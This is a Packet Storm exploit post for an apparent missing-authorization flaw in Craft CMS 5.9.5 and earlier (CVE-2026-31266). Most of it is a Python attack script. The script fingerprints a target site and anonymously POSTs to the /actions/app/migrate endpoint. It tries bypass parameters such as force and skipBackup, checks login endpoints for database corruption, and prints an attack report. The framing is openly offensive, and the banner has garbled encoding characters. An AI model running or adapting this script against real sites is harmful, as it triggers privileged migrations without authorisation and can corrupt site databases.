Share
## https://sploitus.com/exploit?id=PACKETSTORM:223224
==================================================================================================================================
    | # Title     : Craft CMS โ‰ค 5.9.5 Missing Authorization Vulnerability โ€“ Authentication Bypass                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://craftcms.com                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    : This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions 
                     of Craft CMS that may permit unauthorized access to privileged migration functionality.
    
    [+] POC        :  
    
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import argparse
    import time
    import json
    import re
    from urllib.parse import urljoin, urlparse
    
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  Craft CMS Missing Authorization Exploit (CVE-2026-31266)                    โ•‘
    โ•‘  Affected: Craft CMS <= 5.9.5                                                โ•‘
    โ•‘  Type: Missing Authorization -> Authentication Bypass                        โ•‘
    โ•‘  Discovered by: indoushka                                                    โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """
    
    class CraftCMSExploit:
        def __init__(self, target_url, verbose=False, timeout=10):
            self.target_url = target_url.rstrip('/')
            self.verbose = verbose
            self.timeout = timeout
            self.session = requests.Session()
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Accept": "application/json, text/plain, */*",
                "Content-Type": "application/x-www-form-urlencoded"
            })
            self.base_action_url = f"{self.target_url}/actions/app/migrate"
        
        def log(self, msg, level="INFO"):
            """Print formatted messages"""
            colors = {
                "INFO": "\033[94m[*]\033[0m",
                "SUCCESS": "\033[92m[+]\033[0m",
                "ERROR": "\033[91m[-]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "DATA": "\033[96m[>]\033[0m"
            }
            prefix = colors.get(level, "[*]")
            print(f"{prefix} {msg}")
        
        def check_craft_cms(self):
            """Check if target is running Craft CMS"""
            self.log("Checking if target is Craft CMS...")
    
            checks = [
                "/admin/login",
                "/index.php?p=admin/login",
                "/actions/users/login",
                "/cp",
                "/admin/actions/users/login"
            ]
            
            for check in checks:
                try:
                    url = f"{self.target_url}{check}"
                    response = self.session.get(url, timeout=self.timeout)
                    
                    if response.status_code == 200:
                        if "craft" in response.text.lower() or "cms" in response.text.lower():
                            self.log(f"Craft CMS detected at: {url}", "SUCCESS")
                            return True
                except:
                    continue
            
            self.log("Could not confirm Craft CMS", "WARNING")
            return False
        
        def test_migrate_endpoint(self):
            """Test if the migrate endpoint is accessible anonymously"""
            self.log("Testing migrate endpoint accessibility...")
            
            try:
                response = self.session.post(
                    self.base_action_url,
                    data={},
                    timeout=self.timeout
                )
                
                if self.verbose:
                    self.log(f"Response Status: {response.status_code}", "DATA")
                    self.log(f"Response Headers: {dict(response.headers)}", "DATA")
    
                if response.status_code == 200:
                    self.log("Migrate endpoint is accessible! (200 OK)", "SUCCESS")
                    return True
                elif response.status_code == 403:
                    self.log("Migrate endpoint is protected (403 Forbidden)", "INFO")
                    return False
                elif response.status_code == 404:
                    self.log("Migrate endpoint not found (404)", "INFO")
                    return False
                else:
                    self.log(f"Unexpected response: {response.status_code}", "WARNING")
                    return response.status_code == 200
                    
            except requests.exceptions.RequestException as e:
                self.log(f"Error testing endpoint: {e}", "ERROR")
                return False
        
        def execute_migration(self, migration_params=None):
            """
            Execute migration via the vulnerable endpoint
            
            Args:
                migration_params: Optional parameters for migration
            """
            self.log("Attempting to execute migration...")
            
            data = migration_params or {}
            
            try:
                response = self.session.post(
                    self.base_action_url,
                    data=data,
                    timeout=self.timeout
                )
                
                if self.verbose:
                    self.log(f"Request URL: {self.base_action_url}", "DATA")
                    self.log(f"Request Data: {data}", "DATA")
                    self.log(f"Response Status: {response.status_code}", "DATA")
                
                return response
                
            except requests.exceptions.RequestException as e:
                self.log(f"Error executing migration: {e}", "ERROR")
                return None
        
        def check_database_tables(self, table_names=None):
            """
            Check if database tables have been affected
            This is a detection method based on the vulnerability impact
            """
            if not table_names:
                table_names = ['sessions', 'users', 'craft_session', 'craft_users']
            
            self.log("Checking for database impact...")
    
            for table in table_names:
    
                test_endpoints = [
                    f"{self.target_url}/actions/users/login",
                    f"{self.target_url}/admin/actions/users/login",
                    f"{self.target_url}/index.php?p=admin/actions/users/login"
                ]
                
                for endpoint in test_endpoints:
                    try:
                        response = self.session.post(endpoint, data={
                            "loginName": "test",
                            "password": "test"
                        }, timeout=self.timeout)
    
                        if response.status_code == 500 or "database" in response.text.lower():
                            if "sessions" in response.text.lower() or "table" in response.text.lower():
                                self.log(f"Possible database corruption detected: {response.text[:200]}", "WARNING")
                                return True
                                
                    except:
                        continue
            
            return False
        
        def extract_version_info(self):
            """Extract Craft CMS version information"""
            self.log("Attempting to extract version information...")
    
            version_patterns = [
                r'Craft CMS (\d+\.\d+\.\d+)',
                r'craft\.version\s*=\s*["\'](\d+\.\d+\.\d+)',
                r'<meta name="generator" content="Craft CMS (\d+\.\d+\.\d+)"'
            ]
    
            version_files = [
                "/dist/js/craft.js",
                "/resources/js/craft.js",
                "/admin/dist/js/craft.js",
                "/cp/resources/js/craft.js"
            ]
            
            for file_path in version_files:
                try:
                    url = f"{self.target_url}{file_path}"
                    response = self.session.get(url, timeout=self.timeout)
                    
                    if response.status_code == 200:
                        for pattern in version_patterns:
                            match = re.search(pattern, response.text)
                            if match:
                                version = match.group(1)
                                self.log(f"Detected Craft CMS version: {version}", "SUCCESS")
                                return version
                except:
                    continue
            
            self.log("Could not determine exact version", "WARNING")
            return None
        
        def attempt_bypass_with_params(self, param_combinations=None):
            """Attempt to bypass with different parameter combinations"""
            if not param_combinations:
                param_combinations = [
                    {},  
                    {"allowAdminChanges": "1"},
                    {"allowAdminChanges": "true"},
                    {"allowAnonymous": "1"},
                    {"force": "1"},
                    {"force": "true"},
                    {"skipBackup": "1"},
                    {"skipBackup": "true"},
                    {"allowAdminChanges": "1", "force": "1"},
                    {"allowAdminChanges": "1", "skipBackup": "1"},
                ]
            
            self.log(f"Testing {len(param_combinations)} parameter combinations...")
            
            vulnerable_combos = []
            
            for i, params in enumerate(param_combinations, 1):
                if self.verbose:
                    self.log(f"Testing combo {i}/{len(param_combinations)}: {params}")
                
                response = self.execute_migration(params)
                
                if response and response.status_code == 200:
                    self.log(f"Successful bypass with params: {params}", "SUCCESS")
                    vulnerable_combos.append(params)
                elif response and response.status_code == 500 and self.verbose:
                    self.log(f"Error with params {params}: {response.text[:100]}")
                
                time.sleep(0.5)
            
            return vulnerable_combos
        
        def generate_attack_report(self, success):
            """Generate attack report"""
            report = {
                "target": self.target_url,
                "vulnerability": "CVE-2026-31266 - Missing Authorization",
                "affected_versions": "Craft CMS <= 5.9.5",
                "attack_successful": success,
                "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
                "endpoint_tested": self.base_action_url
            }
            
            print("\n" + "=" * 60)
            print("ATTACK REPORT")
            print("=" * 60)
            print(json.dumps(report, indent=2))
            print("=" * 60)
            
            return report
        
        def full_attack(self):
            """Execute full attack chain"""
            self.log("Starting full attack chain...")
    
            is_craft = self.check_craft_cms()
            if not is_craft:
                self.log("Target may not be Craft CMS, continuing anyway...", "WARNING")
    
            version = self.extract_version_info()
            if version:
                self.log(f"Target version: {version}")
                if self.compare_versions(version, "5.9.5") > 0:
                    self.log("Target version appears to be patched", "WARNING")
    
            is_vulnerable = self.test_migrate_endpoint()
            
            if not is_vulnerable:
                self.log("Initial test suggests endpoint is protected", "WARNING")
                self.log("Attempting bypass techniques...")
                vulnerable_combos = self.attempt_bypass_with_params()
                is_vulnerable = len(vulnerable_combos) > 0
    
            if is_vulnerable:
                self.log("Vulnerability confirmed! Executing attack...", "SUCCESS")
                response = self.execute_migration()
                
                if response:
                    self.log("Attack executed successfully!", "SUCCESS")
                    if self.verbose:
                        print(f"\nResponse content:\n{response.text[:500]}")
    
                    self.check_database_tables()
                    
                    self.generate_attack_report(True)
                    return True
            else:
                self.log("Target does not appear to be vulnerable", "ERROR")
                self.generate_attack_report(False)
                return False
        
        @staticmethod
        def compare_versions(version1, version2):
            """Compare two version strings"""
            def normalize(v):
                return [int(x) for x in v.split('.')]
            
            v1 = normalize(version1)
            v2 = normalize(version2)
            
            for i in range(min(len(v1), len(v2))):
                if v1[i] != v2[i]:
                    return v1[i] - v2[i]
            return len(v1) - len(v2)
    
    def check_vulnerability(target_url):
        """Quick vulnerability check"""
        exploit = CraftCMSExploit(target_url, verbose=False)
        return exploit.test_migrate_endpoint()
    
    
    def exploit_single(target_url, verbose=False):
        """Single target exploitation"""
        exploit = CraftCMSExploit(target_url, verbose)
        return exploit.full_attack()
    
    def main():
        parser = argparse.ArgumentParser(description="Craft CMS Missing Authorization Exploit (CVE-2026-31266)")
        parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:8080)")
        parser.add_argument("--check", action="store_true", help="Quick vulnerability check only")
        parser.add_argument("--extract-version", action="store_true", help="Extract Craft CMS version")
        parser.add_argument("--bypass", action="store_true", help="Attempt parameter bypass techniques")
        parser.add_argument("--test-migrate", action="store_true", help="Test migrate endpoint only")
        parser.add_argument("-v", "--verbose", action="store_true", help="Show verbose output")
        
        args = parser.parse_args()
        
        print(BANNER)
    
        if args.check:
            print("\n[*] Performing quick vulnerability check...")
            is_vulnerable = check_vulnerability(args.url)
            if is_vulnerable:
                print(f"\n[+] {args.url} appears to be VULNERABLE to CVE-2026-31266")
            else:
                print(f"\n[-] {args.url} does not appear to be vulnerable")
            return
    
        exploit = CraftCMSExploit(args.url, args.verbose)
    
        if args.extract_version:
            exploit.extract_version_info()
            return
    
        if args.test_migrate:
            result = exploit.test_migrate_endpoint()
            if result:
                print("\n[+] Migrate endpoint is accessible!")
                print("[+] The target is likely vulnerable to CVE-2026-31266")
            else:
                print("\n[-] Migrate endpoint is not accessible")
            return
    
        if args.bypass:
            print("\n[*] Attempting parameter bypass techniques...")
            vulnerable_combos = exploit.attempt_bypass_with_params()
            if vulnerable_combos:
                print(f"\n[+] Found {len(vulnerable_combos)} working parameter combinations!")
                for combo in vulnerable_combos:
                    print(f"    - {combo}")
            else:
                print("\n[-] No bypass techniques worked")
            return
    
        exploit.full_attack()
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================